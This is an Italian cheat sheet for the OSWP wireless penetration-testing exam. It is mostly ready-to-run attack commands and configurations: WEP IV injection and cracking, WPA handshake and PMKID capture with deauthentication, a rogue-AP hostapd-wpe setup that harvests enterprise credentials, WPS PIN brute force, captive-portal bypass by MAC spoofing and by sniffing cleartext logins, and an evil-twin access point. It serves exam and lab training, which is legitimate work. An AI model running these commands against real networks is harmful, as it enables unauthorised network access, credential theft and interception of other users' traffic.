Vai al contenuto

CHEAT SHEET COMPLETO PER ESAME OSWP (v3)

Revisione tecnica: correzioni segnalate con [FIX], aggiunte segnalate con [NUOVO]. v2: nota [ARM/Kali] su hashcat/OpenCL non disponibile su Kali arm64 → usare aircrack-ng/asleap come metodo primario di cracking. v3: sezione 2.5 Captive Portal riscritta da zero con due tecniche complete, passo-passo, verificate su lab reale (WiFiChallengeLab). Aggiunta nota su dhclient mancante su Kali recente.

INDICE DEGLI SCENARI COPERTI

  1. Reti WEP
  2. Reti WPA/WPA2-PSK
  3. Reti WPA/WPA2-Enterprise (WPA-MGT)
  4. Attacco WPS
  5. Bypass Captive Portal (due tecniche)
  6. Evil Twin su rete aperta

FASE 0: PREPARAZIONE DELL'AMBIENTE

Questa fase è CRUCIALE. Deve essere eseguita all'inizio di OGNI scenario e ogni volta che si cambia scheda di rete.

0.1 Identificare le interfacce disponibili

Bash
iwconfig
# oppure, più moderno:
iw dev

[FIX] Attenzione al nome dell'interfaccia in monitor mode: con le versioni recenti di aircrack-ng, airmon-ng start wlan0 non rinomina sempre l'interfaccia in wlan0mon — dipende dal driver. A volte resta wlan0 semplicemente passata in modalità monitor. Dopo airmon-ng start, verifica sempre con iwconfig o iw dev quale sia il nome reale prima di lanciare i comandi successivi, invece di assumere wlan0mon a prescindere. Se un comando dà "No such device", è quasi sempre questo il motivo.

0.2 SALVARE IL MAC ADDRESS (PASSAGGIO FONDAMENTALE)

Bash
# Metodo 1: Usando ip (RACCOMANDATO)
ORIG_MAC=$(ip link show wlan0 | grep link/ether | awk '{print $2}')
echo "Il mio MAC è: $ORIG_MAC"

# Metodo 2: Usando ifconfig
ifconfig wlan0 | grep ether

# Metodo 3: Manuale
ip link show wlan0 | grep link/ether

PERCHÉ È IMPORTANTE: dopo la modalità monitor l'interfaccia mostra spesso un MAC placeholder (es. 02:00:00:00:00:00 o 42:00:00:00:00:00). Il MAC fisico salvato qui serve per aireplay-ng -h.

0.3 Terminare i processi che interferiscono

Bash
sudo airmon-ng check
sudo airmon-ng check kill

NetworkManager e wpa_supplicant cambiano canale e interferiscono con la cattura. Uccidere NetworkManager interrompe Internet: scarica wordlist/tool PRIMA di questo step, oppure riavvialo dopo (sudo systemctl start NetworkManager).

0.4 Attivare la modalità monitor

Bash
sudo airmon-ng start wlan0

0.5 Verificare la modalità monitor

Bash
iwconfig wlan0mon    # o il nome reale verificato al punto 0.1

0.6 [NUOVO] Verificare la capacità di injection

Passo mancante nell'originale ma essenziale: prima di affidarti a deauth/ARP replay, verifica che la scheda in monitor mode supporti effettivamente l'injection dei pacchetti.

Bash
sudo aireplay-ng -9 wlan0mon

Output atteso: Injection is working!. Se fallisce, i tuoi attacchi di deauth/replay non funzioneranno e va indagato prima di perdere tempo su uno scenario (driver sbagliato, canale, interfaccia non realmente in monitor mode).

Nota: su ambienti di laboratorio virtuale (es. mac80211_hwsim), questo test può dare "Found 0 APs" anche quando l'injection funziona correttamente, perché il "mezzo radio" è simulato e non risponde a probe broadcast come un AP reale. In quel caso il test più affidabile è verificare direttamente con airodump-ng che gli AP compaiano e con aireplay-ng -1 0 che l'associazione abbia successo.

0.7 Se devi ripristinare l'interfaccia

Bash
sudo airmon-ng stop wlan0mon
sudo systemctl start NetworkManager

0.8 Riavviare NetworkManager per installare pacchetti

Bash
sudo systemctl start NetworkManager
sudo apt update
sudo apt install aircrack-ng hashcat reaver macchanger asleap tshark isc-dhcp-client

[NUOVO] Nota pratica: durante l'esame la VM potrebbe non avere accesso a Internet o i repository potrebbero non essere raggiungibili. Verifica prima dell'esame che tutti i tool (aircrack-ng suite, hashcat, reaver/bully, macchanger, asleap, hostapd-wpe, hcxdumptool, hcxpcapngtool, tshark) siano già presenti, e che /usr/share/wordlists/rockyou.txt sia decompresso:

Bash
ls -la /usr/share/wordlists/rockyou.txt* 
# se vedi solo rockyou.txt.gz:
sudo gunzip /usr/share/wordlists/rockyou.txt.gz

[NUOVO — ARM/Kali] Verifica hashcat PRIMA dell'esame:

Bash
hashcat -I

Se restituisce No devices found/left (tipico su Kali arm64, dove pocl-opencl-icd non è più pacchettizzato), non contarci come piano principale: usa aircrack-ng per tutto il cracking (WEP, WPA-PSK) e asleap per l'Enterprise, entrambi CPU-native e senza dipendenze OpenCL. Vedi note nei rispettivi scenari sotto.

[NUOVO — v3] Verifica dhclient PRIMA dell'esame:

Le immagini Kali recenti non includono più dhclient (isc-dhcp-client) preinstallato — deprecato in favore del client DHCP interno di NetworkManager. Il cheat sheet lo usa spesso nella Fase 3 (connessione via wpa_supplicant + dhclient per WEP/WPA/Enterprise, dove NetworkManager va tenuto spento). Verifica e installalo subito:

Bash
which dhclient
# se non trovato:
sudo apt install isc-dhcp-client -y

FASE 1: RICOGNIZIONE (RECONNAISSANCE)

1.1 Scansione completa

Bash
sudo airodump-ng --band abg --manufacturer wlan0mon

Opzioni utili: --band abg, --manufacturer, --wps, -c <canale>, --bssid <BSSID>.

1.2 Interpretazione dell'output

Colonna Significato
BSSID MAC address dell'Access Point
PWR Potenza del segnale (più vicino a 0 = più forte)
Beacons Numero di beacon ricevuti
#Data Numero di pacchetti dati
CH Canale
MB Velocità massima (54e = 54 Mbps con WEP)
ENC Cifratura (WEP, WPA, WPA2, OPN)
CIPHER Cifrario (TKIP, CCMP)
AUTH Autenticazione (PSK, MGT, OPN, SKA)
ESSID Nome della rete

1.3 Identificare vulnerabilità

  • WEP (ENC: WEP) → priorità alta, facile da craccare
  • WPA/WPA2 PSK (AUTH: PSK) → serve handshake (o PMKID)
  • WPA/WPA2 MGT (AUTH: MGT) → Enterprise, richiede Rogue AP
  • WPS (WPS: Yes in wash) → possibile brute-force
  • Reti aperte (ENC: OPN) → Evil Twin o Captive Portal (vedi 2.5 per come distinguerli)

1.4 Cattura mirata (bloccando il canale)

Bash
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w <capture_file> wlan0mon

Bloccare il canale evita il channel hopping automatico di airodump-ng, che rischierebbe di far perdere pacchetti cruciali (handshake, IV).

[NUOVO] Attenzione ai conflitti tra terminali: se hai un airodump-ng in modalità hopping (senza -c) e un aireplay-ng mirato attivi sulla stessa interfaccia contemporaneamente, i due processi si contendono il canale — vedrai aireplay-ng lamentarsi in loop con "wlan0mon is on channel X, but the AP uses channel Y". Usa interfacce diverse per scansione hopping e attacco mirato, oppure ferma temporaneamente lo scan hopping mentre lavori sull'attacco.


FASE 2: ATTACCHI SPECIFICI


2.1 ATTACCO A RETI WEP

Servono circa 40.000 IV per craccare la chiave.

STEP 1: Identificare la rete WEP

Bash
sudo airodump-ng --encrypt WEP wlan0mon

STEP 2: Avviare la cattura IV

Bash
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w wep_capture wlan0mon

STEP 3: Generare traffico

Opzione A — ARP Replay (con client associati o traffico esistente, CONSIGLIATA):

Bash
sudo aireplay-ng -3 -b <BSSID> -h $ORIG_MAC wlan0mon

Opzione B — Fake Authentication (se non ci sono client associati, necessaria prima dell'ARP replay):

Bash
sudo aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h $ORIG_MAC wlan0mon
sudo aireplay-ng -3 -b <BSSID> -h $ORIG_MAC wlan0mon

[NUOVO] Opzione C — Se non c'è traffico da rilanciare e ARP replay non produce IV (nessun client, rete "silenziosa"):

ChopChop attack (decifra un pacchetto byte-per-byte senza conoscere la chiave, poi lo si usa per generare un nuovo pacchetto da iniettare):

Bash
sudo aireplay-ng -4 -b <BSSID> -h $ORIG_MAC wlan0mon
# genera un file replay_dec-<data>.cap, poi:
sudo packetforge-ng -0 -a <BSSID> -h $ORIG_MAC -k 255.255.255.255 -l 255.255.255.255 -y replay_dec-<data>.xor -w arp-request
sudo aireplay-ng -2 -r arp-request wlan0mon

Fragmentation attack (alternativa a chopchop, spesso più veloce):

Bash
sudo aireplay-ng -5 -b <BSSID> -h $ORIG_MAC wlan0mon
# poi packetforge-ng come sopra usando il .xor generato

Questi due metodi non recuperano la chiave WEP direttamente, ma un keystream utile a forgiare pacchetti ARP da iniettare per far salire rapidamente #Data.

STEP 4: Monitorare la raccolta IV — nella finestra airodump-ng, guarda #Data fino a ~40.000.

STEP 5: Craccare la chiave WEP

Bash
sudo aircrack-ng wep_capture-01.cap

Nessuna dipendenza da hashcat/OpenCL qui: aircrack-ng fa tutto in autonomia su CPU.


2.2 ATTACCO A RETI WPA/WPA2-PSK

STEP 1: Cattura sul target

Bash
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w wpa_capture wlan0mon

STEP 2: Deauthentication Attack

Bash
# Mirato (CONSIGLIATO)
sudo aireplay-ng -0 5 -a <BSSID> -c <CLIENT_MAC> wlan0mon

# Broadcast (rumoroso, tutti i client)
sudo aireplay-ng -0 5 -a <BSSID> wlan0mon

STEP 3: Verificare la cattura dell'handshake — cerca WPA handshake: <BSSID> in alto a destra in airodump-ng. Se non appare, ripeti il deauth (aumenta a -0 10) o prova un client diverso.

[NUOVO] STEP 3bis: Alternativa clientless — attacco PMKID

Se non c'è nessun client associato da deautenticare (AP "silenzioso"), molti AP moderni sono comunque attaccabili via PMKID, catturabile senza handshake a 4 vie e senza client:

Bash
sudo hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1
# lascialo girare qualche secondo/minuto, poi CTRL+C
hcxpcapngtool -o hash_pmkid.hc22000 capture.pcapng

Per il cracking del PMKID vedi STEP 4/5 sotto — funziona sia con aircrack-ng (dal .cap originale) sia con hashcat (dall'.hc22000).

Nota: nel programma OSWP standard l'attacco principale insegnato resta deauth + handshake; il PMKID è un utile piano B se l'AP simulato non genera traffico client.

STEP 4 — [FIX v2] Cracking: metodo primario, aircrack-ng (CPU-native, nessuna dipendenza OpenCL)

Bash
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt wpa_capture-01.cap

Funziona direttamente sul .cap, senza conversioni. Consigliato di default, e obbligatorio su Kali arm64 dove hashcat spesso non trova alcun device (vedi nota in Fase 0.8).

STEP 4bis — Alternativa con GPU: conversione per Hashcat

Da usare solo se hashcat -I mostra almeno un device disponibile (tipicamente x86_64 con GPU dedicata o OpenCL CPU funzionante):

Bash
hcxpcapngtool -o hash_handshake.hc22000 wpa_capture-01.cap

STEP 5bis — Craccare con Hashcat

Bash
sudo hashcat -m 22000 hash_handshake.hc22000 /usr/share/wordlists/rockyou.txt
sudo hashcat -m 22000 hash_handshake.hc22000 --show


2.3 ATTACCO A RETI WPA/WPA2-ENTERPRISE (WPA-MGT)

Richiede un Rogue Access Point per intercettare le credenziali EAP. Scenario più complesso e quello con più errori nella versione originale del documento — attenzione ai fix.

Strumenti necessari

[FIX] Il tool storicamente usato nel corso ufficiale (PEN-210) è hostapd-wpe, non hostapd-mana. Sono entrambi validi (mana è l'evoluzione più recente e attivamente mantenuta), ma verifica cosa è effettivamente preinstallato nella VM d'esame prima di improvvisare:

Bash
which hostapd-wpe
which hostapd-mana

Serve inoltre asleap per il cracking offline delle credenziali MSCHAPv2 — CPU-native, nessuna dipendenza OpenCL, funziona identico su x86_64 e arm64.

STEP 1: Installare gli strumenti (se non presenti)

Bash
sudo apt update
sudo apt install hostapd-wpe asleap

STEP 2: Identificare il target — cerca AUTH: MGT nella scansione.

STEP 3: Configurazione — [FIX] file di configurazione completo

L'originale riportava solo ssid, channel e mana_wpe=1, il che non è sufficiente per un AP Enterprise funzionante. Servono anche i parametri WPA-EAP e i certificati (hostapd-wpe ne include di default in /etc/hostapd-wpe/certs/, generati automaticamente se mancanti al primo avvio):

Bash
nano hostapd-wpe.conf
Text Only
interface=wlan0mon
driver=nl80211
ssid=CorporateWiFi
channel=6
hw_mode=g

wpa=2
wpa_key_mgmt=WPA-EAP
rsn_pairwise=CCMP
ieee8021x=1

eap_server=1
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
private_key_passwd=whatever2changeme

Se usi hostapd-mana, il parametro equivalente da aggiungere è mana_wpe=1 sopra a questa stessa base di configurazione.

STEP 4: Avviare il Rogue AP

Bash
sudo hostapd-wpe hostapd-wpe.conf
# oppure, se usi mana:
sudo hostapd-mana hostapd-mana.conf

STEP 5: Forzare la deautenticazione dei client dal target legittimo

Bash
sudo aireplay-ng -0 5 -a <BSSID_TARGET> wlan0mon

STEP 6: Catturare le credenziali — [FIX] percorso log

hostapd-wpe non scrive di default in /var/log/hostapd.log. Scrive in un file hostapd-wpe.log nella directory da cui è stato lanciato il comando (verifica con ls -la dopo l'avvio, o specifica un path esplicito se la tua versione lo consente).

[NUOVO] Nota sul GTC downgrade: se il client supporta EAP-GTC oltre a MSCHAPv2, hostapd-wpe forza il downgrade a GTC, ottenendo username e password in chiaro direttamente nel log, senza bisogno di alcun cracking. Controlla sempre prima il log per credenziali già in chiaro — è più veloce che craccare l'MSCHAPv2 challenge/response.

Se invece il client fa solo MSCHAPv2, otterrai una tripla username:challenge:response da craccare offline.

STEP 7 — Metodo primario: craccare con asleap

Bash
sudo asleap -C <CHALLENGE> -R <RESPONSE> -W /usr/share/wordlists/rockyou.txt

STEP 8 — [FIX] Alternativa con GPU: Hashcat, modulo corretto

Solo se hashcat -I mostra un device disponibile. L'originale indicava -m 16800 / -m 22000, che sono moduli per WPA-PSK (PMKID/handshake) e non hanno nulla a che fare con MSCHAPv2. Il modulo corretto per le credenziali Enterprise catturate da hostapd-wpe/asleap è:

Bash
# -m 5500 = MSCHAPv2 / NetNTLMv1 (formato: username::domain:challenge:response)
sudo hashcat -m 5500 hash_enterprise.txt /usr/share/wordlists/rockyou.txt

2.4 ATTACCO WPS (WI-FI PROTECTED SETUP)

STEP 1: Identificare AP con WPS abilitato

Bash
sudo wash -i wlan0mon -s

STEP 2: Reaver

Bash
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv

Opzioni utili: -K 1 (Pixie Dust — [NUOVO] nota: richiede pixiewps installato separatamente, verifica con which pixiewps), -d 2, -t 5, -N, -L.

STEP 3: Se WPS si blocca

Bash
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -K 1 -vv
Oppure attendi il timer di lockout (in genere 5-10 minuti).

STEP 4: Se Reaver fallisce, prova Bully

Bash
sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -v 3


2.5 BYPASS DEL CAPTIVE PORTAL — [RISCRITTA v3, DUE TECNICHE COMPLETE]

Una rete con ENC: OPN (nessuna cifratura radio) può nascondere due tipi di captive portal molto diversi tra loro, e non lo sai finché non ci provi:

  • Tipo A — Whitelist per MAC: l'AP lascia passare il traffico reale solo ai MAC che ha già "visto" autenticarsi. Bypass: rubi il MAC di un client già autorizzato (MAC spoofing).
  • Tipo B — Login applicativo reale (username+password su un form HTML): il MAC non conta nulla, serve una credenziale valida. Bypass: intercetti le credenziali in chiaro via sniffing passivo, perché su rete OPN il traffico HTTP di tutti i client (anche se non sei associato) è leggibile in aria.

Segui questo ordine: prima capisci con quale tipo hai a che fare, poi applica la tecnica giusta.


STEP 0 — Diagnosi: di che tipo di captive portal si tratta?

0.1 — Associati normalmente alla rete aperta (senza nessun trucco), come faresti da utente qualsiasi:

Bash
# Se sei in monitor mode, torna in modalità gestita
sudo airmon-ng stop wlan0mon

# Assicurati che l'interfaccia sia su
sudo ip link set wlan0 up

# Connettiti con NetworkManager (più affidabile di iw per reti aperte)
nmcli dev wifi connect <ESSID>

# Verifica che tu abbia un IP
ip addr show wlan0

0.2 — Apri il browser e vai sull'IP del gateway:

Bash
ip route | grep default
# annota l'IP, es. 192.168.10.1

Apri http://<IP_GATEWAY>/ nel browser di Kali (Firefox già installato).

0.3 — Guarda cosa succede:

  • Se vieni rediretto automaticamente a una pagina tipo login.php con campi Username e Password → sei nel Tipo B, salta direttamente alla sezione "TECNICA B" qui sotto. Il MAC spoofing da solo NON funzionerà, non perderci tempo.
  • Se la pagina ti chiede solo di "accettare i termini" o ti blocca senza chiedere credenziali, o se hai già accesso a Internet/proof.txt senza fare nulla → probabile whitelist MAC, prova la TECNICA A.

TECNICA A — Whitelist per MAC address

A.1 — Torna in monitor mode e individua un client già associato e "autorizzato":

Bash
sudo airmon-ng start wlan0
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w captive_capture wlan0mon

Guarda la tabella in basso, colonna STATION: annota il MAC del client con più Frames (segno che sta effettivamente passando traffico, quindi probabilmente è autorizzato):

Bash
CLIENT_MAC="11:22:33:44:55:66"   # sostituisci con il MAC reale visto in STATION

A.2 — Ferma la modalità monitor:

Bash
sudo airmon-ng stop wlan0mon

A.3 — Spoofare il tuo MAC con quello del client:

Bash
sudo systemctl stop NetworkManager
sudo ip link set wlan0 down
sudo macchanger -m $CLIENT_MAC wlan0
sudo ip link set wlan0 up
sudo systemctl start NetworkManager

A.4 — Connettersi alla rete e ottenere un IP:

Bash
nmcli dev wifi connect <ESSID>
ip addr show wlan0

Se non vedi un IP assegnato dopo qualche secondo, forza la richiesta DHCP:

Bash
sudo dhclient wlan0
# se "comando non trovato": sudo apt install isc-dhcp-client -y && sudo dhclient wlan0

A.5 — Verificare l'accesso:

Bash
ping <IP_GATEWAY>
curl http://<IP_GATEWAY>/proof.txt

Se funziona, hai finito. Se invece resti bloccato sulla pagina di login nonostante il MAC corretto, il portale probabilmente è comunque Tipo B (login reale) — passa alla TECNICA B.

IMPORTANTE: - Se il client legittimo è ancora connesso, ci sarà un conflitto di MAC duplicati sulla rete — idealmente deautentica prima il client originale per liberare la sessione: sudo aireplay-ng -0 5 -a <BSSID> -c <CLIENT_MAC> wlan0mon (richiede di essere di nuovo in monitor mode). - Se la rete usa 802.1X (MGT), questa tecnica non funziona: quella è tutta un'altra categoria, vedi sezione 2.3.


TECNICA B — Sniffing delle credenziali in chiaro (login applicativo)

Perché funziona: su una rete OPN non c'è cifratura a livello radio — chiunque nel raggio d'ascolto può leggere in chiaro tutto il traffico 802.11 di qualunque client connesso, senza bisogno di essere associato lui stesso. Se il captive portal usa un form HTTP (non HTTPS) per il login, e periodicamente qualche client legittimo (bot del lab, o utente reale) effettua il login, la password passa in chiaro nell'aria e la puoi intercettare passivamente.

B.1 — Metti la scheda in monitor mode (se non lo è già) e individua canale/BSSID della rete target:

Bash
sudo airmon-ng start wlan0
sudo airodump-ng --band abg wlan0mon

Annota BSSID e CH (canale) della rete OPN target (es. wifi-guest).

B.2 — Avvia la cattura mirata sul canale, salvando su file:

Bash
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w captive_sniff wlan0mon

Lascialo aperto e ATTENDI — non serve fare nient'altro, nessuna associazione, nessun deauth. Devi solo aspettare che un client qualsiasi effettui il login mentre stai ascoltando. Nei lab, i client bot lo fanno periodicamente; in un contesto reale/esame potrebbe volerci qualche minuto. Lascialo girare almeno 3-5 minuti prima di considerarlo "vuoto".

Quando hai raccolto traffico a sufficienza, interrompi con CTRL+C (o lascialo aperto e apri un secondo terminale per il passo successivo, il file si aggiorna comunque in tempo reale).

B.3 — Estrai i pacchetti POST HTTP (dove finiscono i form di login) dal file catturato con tshark:

Bash
tshark -r captive_sniff-01.cap -Y "http.request.method == POST" -T fields -e http.file_data

Cosa aspettarti: questo comando stampa il corpo di ogni richiesta POST, ma in esadecimale (non testo leggibile) — è normale, http.file_data restituisce i byte grezzi. Vedrai righe tipo:

Text Only
557365726e616d653d66726565312650617373776f72643d4a796c3169713855616a5a3166454b265375626d69743d4c6f67696e

B.4 — Decodifica l'esadecimale in testo leggibile. Nel terminale:

Bash
echo "557365726e616d653d66726565312650617373776f72643d4a796c3169713855616a5a3166454b265375626d69743d4c6f67696e" | xxd -r -p

Output atteso, in chiaro:

Text Only
Username=free1&Password=Jyl1iq8UajZ1fEK&Submit=Login

Per farlo su TUTTE le righe in un colpo solo (più comodo se ne hai molte):

Bash
tshark -r captive_sniff-01.cap -Y "http.request.method == POST" -T fields -e http.file_data | sort -u | while read -r hexline; do echo "$hexline" | xxd -r -p; echo; done

sort -u elimina i duplicati (lo stesso login catturato più volte, tipico se il client bot si riautentica spesso).

B.5 — Usa le credenziali trovate. Vai nel browser sulla pagina di login (http://<IP_GATEWAY>/login.php) e inserisci Username e Password decodificate. Dopo il login dovresti vedere una pagina tipo index.php con conferma di accesso e, spesso, la flag/proof direttamente a schermo.

B.6 — Se la flag non è mostrata direttamente a schermo, recuperala comunque via terminale. Attenzione: una volta autenticato via browser, la sessione è legata ai cookie di quel browser — curl da terminale (senza cookie) potrebbe non essere autenticato. Se ti serve da riga di comando, ripeti il login mantenendo i cookie:

Bash
curl -c cookies.txt -d "Username=free1&Password=Jyl1iq8UajZ1fEK&Submit=Login" http://<IP_GATEWAY>/login.php
curl -b cookies.txt http://<IP_GATEWAY>/index.php
curl -b cookies.txt http://<IP_GATEWAY>/proof.txt

Alternativa: analisi visuale in Wireshark (se preferisci non usare la riga di comando):

Bash
wireshark captive_sniff-01.cap

Filtro da inserire nella barra in alto:

Text Only
http.request.method == "POST"

Clicca su un pacchetto → tasto destro → Follow → HTTP Stream: vedrai la richiesta POST già decodificata in chiaro, senza dover passare da xxd.


Riepilogo rapido — quale tecnica usare

Situazione osservata Tecnica
Nessun form di login, solo redirect/blocco generico A — MAC spoofing
Form con Username + Password B — Sniffing credenziali
A non funziona nonostante MAC corretto Prova B
Obiettivo esplicito è "intercetta le credenziali di un altro utente" B, sempre

2.6 EVIL TWIN SU RETE APERTA

STEP 1-2: Rogue AP con airbase-ng

Bash
sudo airbase-ng -e <ESSID_TARGET> -c <CHANNEL> wlan0mon

STEP 3: Routing (opzionale)

Bash
sudo ifconfig at0 up
sudo ifconfig at0 192.168.1.1 netmask 255.255.255.0
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

STEP 4: Deautenticazione dei client dal target legittimo

Bash
sudo aireplay-ng -0 5 -a <BSSID_TARGET> wlan0mon

STEP 5: Intercettare il traffico

Bash
sudo tcpdump -i at0 -w evil_twin_capture.pcap

STEP 6: dnsmasq per DHCP/DNS sui client connessi

Bash
sudo apt install dnsmasq
cat > dnsmasq.conf << EOF
interface=at0
dhcp-range=192.168.1.10,192.168.1.100,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
log-queries
log-facility=/var/log/dnsmasq.log
EOF
sudo dnsmasq -C dnsmasq.conf


FASE 3: ACCESSO E RACCOLTA DELLA PROVA (PROOF)

3.1 Connessione con wpa_supplicant

WPA2-PSK (CCMP):

Text Only
network={
    ssid="<ESSID>"
    psk="<PASSWORD>"
    key_mgmt=WPA-PSK
    proto=RSN
    pairwise=CCMP
    group=CCMP
}

WPA-PSK (TKIP):

Text Only
network={
    ssid="<ESSID>"
    psk="<PASSWORD>"
    key_mgmt=WPA-PSK
    proto=WPA
    pairwise=TKIP
    group=TKIP
}

Bash
sudo airmon-ng stop wlan0mon
sudo wpa_supplicant -B -i wlan0 -c wpa_supplicant.conf
sudo dhclient wlan0
ip addr show wlan0
ping 192.168.1.1

Reti aperte:

Bash
sudo ip link set wlan0 up
sudo iw dev wlan0 connect <ESSID>
sudo dhclient wlan0

Reti WEP:

Bash
sudo iw dev wlan0 connect <ESSID> key 0:<WEP_KEY>
sudo dhclient wlan0

WPA-Enterprise:

Text Only
network={
    ssid="<ESSID>"
    key_mgmt=WPA-EAP
    eap=PEAP
    identity="<USERNAME>"
    password="<PASSWORD>"
    phase2="auth=MSCHAPV2"
}

[NUOVO v3] Nota: se dhclient non è trovato, vedi Fase 0.8 per installarlo (sudo apt install isc-dhcp-client). In alternativa, per reti aperte/WEP/WPA-PSK puoi affidarti a nmcli dev wifi connect <ESSID> con NetworkManager attivo, che gestisce da solo il DHCP — ma per Enterprise e per WEP con iw dev connect è comunque preferibile avere dhclient disponibile per seguire esattamente questi step.

3.2 Recuperare il file proof.txt

Bash
ip route | grep default
curl http://192.168.1.1/proof.txt
wget http://192.168.1.1/proof.txt
cat proof.txt

Se non disponibile: prova anche flag.txt e index.php (a volte la flag è mostrata solo dopo login, come nello scenario captive portal Tipo B — vedi 2.5), verifica se il server richiede HTTPS (curl -k https://...).

3.3 Documentazione (OBBLIGATORIA)

Screenshot richiesti per ogni scenario: 1. Scansione con BSSID/ESSID target 2. Cattura handshake / IV / credenziali (a seconda dello scenario) 3. Comando di cracking con la chiave/password trovata 4. Connessione alla rete (ip addr) 5. Download del proof.txt 6. Contenuto del proof.txt


APPENDICE: GESTIONE DEGLI ERRORI COMUNI

"No such device" per wlan0/wlan0mon

Bash
iwconfig
iw dev
[FIX] Ricorda: il nome dell'interfaccia in monitor mode potrebbe essere rimasto wlan0 invece di diventare wlan0mon — non dare per scontato il rename automatico.

"Permission denied"

Bash
sudo su -

"Device or resource busy"

Bash
sudo airmon-ng check kill
sudo systemctl restart NetworkManager

[FIX v2] Hashcat: "No devices found/left"

Su Kali (in particolare arm64/Apple Silicon), il pacchetto pocl-opencl-icd che fornisce il backend OpenCL per CPU è stato rimosso dai repository Kali — non è più installabile via apt (pkg.kali.org lo conferma come "gone"). Sintomi:

Bash
hashcat -I
# No devices found/left.

sudo apt install ocl-icd-libopencl1 non basta da solo: serve un vero driver/ICD (pocl per CPU, oppure driver GPU proprietario), e su queste immagini non è disponibile via apt.

Non perdere tempo a inseguirlo durante l'esame: usa aircrack-ng per WEP/WPA-PSK e asleap per l'Enterprise (vedi le sezioni 2.1/2.2/2.3 sopra) — nessuno dei due richiede OpenCL. Riserva hashcat solo se ti alleni su una macchina x86_64 con GPU o backend OpenCL funzionante e verificato con hashcat -I prima di fartici affidamento.

Bash
cat hash_handshake.hc22000
sudo hashcat -m 22000 hash_handshake.hc22000 /usr/share/wordlists/rockyou.txt --force
sudo hashcat -m 22000 hash_handshake.hc22000 --show

[NUOVO v3] "sudo: dhclient: comando non trovato"

dhclient non è preinstallato sulle immagini Kali recenti. Fix:

Bash
sudo apt install isc-dhcp-client -y
sudo dhclient wlan0

Alternativa senza installare nulla, se NetworkManager è attivo:

Bash
nmcli dev wifi connect <ESSID>

"No handshake captured" in aircrack-ng

Bash
sudo aireplay-ng -0 10 -a <BSSID> -c <CLIENT_MAC> wlan0mon
# alternativa clientless:
sudo hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1
hcxpcapngtool -o hash.hc22000 capture.pcapng

"No IVs gathered" in aircrack-ng per WEP

Bash
sudo aireplay-ng -3 -b <BSSID> -h $ORIG_MAC wlan0mon
sudo aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h $ORIG_MAC wlan0mon
# se nessun client e nessun traffico:
sudo aireplay-ng -4 -b <BSSID> -h $ORIG_MAC wlan0mon   # chopchop
sudo aireplay-ng -5 -b <BSSID> -h $ORIG_MAC wlan0mon   # fragmentation

"Memory allocation failed" in Hashcat

Aumenta la RAM della VM o usa una wordlist più piccola per test (rilevante solo se stai comunque usando hashcat con un backend OpenCL funzionante).

[NUOVO] "Injection is working: NO" / "Found 0 APs" con aireplay-ng -9

Verifica che l'interfaccia sia realmente in monitor mode (iwconfig), che il driver supporti l'injection, e che non ci siano altri processi (NetworkManager/wpa_supplicant, o un altro airodump-ng/aireplay-ng sulla stessa interfaccia) ancora attivi. Su ambienti di laboratorio virtuale (mac80211_hwsim) questo test può dare falsi negativi — verifica piuttosto con uno scan diretto (airodump-ng) e un tentativo di fake authentication (aireplay-ng -1 0).

[NUOVO] aireplay-ng in loop su "wlan0mon is on channel X, but the AP uses channel Y"

Hai un altro processo (tipicamente un airodump-ng in hopping) attivo sulla stessa interfaccia che cambia canale in continuazione. Usa un'interfaccia diversa per l'attacco mirato, o ferma temporaneamente lo scan hopping.

[NUOVO v3] Captive portal: MAC spoofing non funziona (resti sempre sulla pagina di login)

Non tutti i captive portal usano whitelist MAC. Se dopo lo spoof resti bloccato su un form con Username/Password, è un login applicativo reale: passa alla TECNICA B della sezione 2.5 (sniffing delle credenziali via airodump-ng + tshark).

[NUOVO v3] tshark -e http.file_data restituisce esadecimale illeggibile

È normale, non un errore: http.file_data in tshark restituisce sempre i byte grezzi in hex. Decodifica con:

Bash
echo "<stringa_hex>" | xxd -r -p
oppure apri il .cap in Wireshark e usa Follow → HTTP Stream per la decodifica automatica.


RIEPILOGO DEI COMANDI PRINCIPALI

Fase Comando
Setup sudo airmon-ng check kill
sudo airmon-ng start wlan0
ORIG_MAC=$(ip link show wlan0 \| grep link/ether \| awk '{print $2}')
sudo aireplay-ng -9 wlan0mon (test injection)
hashcat -I (verifica device disponibili PRIMA di contarci)
which dhclient (verifica prima dell'esame, installa se assente)
Scansione sudo airodump-ng --band abg --manufacturer wlan0mon
Cattura Mirata sudo airodump-ng -c <CH> --bssid <BSSID> -w <file> wlan0mon
Deauth (WPA) sudo aireplay-ng -0 5 -a <BSSID> -c <CLIENT_MAC> wlan0mon
ARP Replay (WEP) sudo aireplay-ng -3 -b <BSSID> -h $ORIG_MAC wlan0mon
Fake Auth (WEP) sudo aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h $ORIG_MAC wlan0mon
ChopChop/Fragmentation (WEP) sudo aireplay-ng -4 / -5 -b <BSSID> -h $ORIG_MAC wlan0mon
Crack WEP sudo aircrack-ng wep_capture-01.cap
Crack WPA (aircrack-ng, PRIMARIO) sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt wpa_capture-01.cap
Converti per Hashcat (solo se GPU/OpenCL OK) hcxpcapngtool -o hash.hc22000 wpa_capture-01.cap
Crack WPA (Hashcat, opzionale) sudo hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
PMKID clientless sudo hcxdumptool -i wlan0mon -o cap.pcapng --enable_status=1
WPS Scan sudo wash -i wlan0mon -s
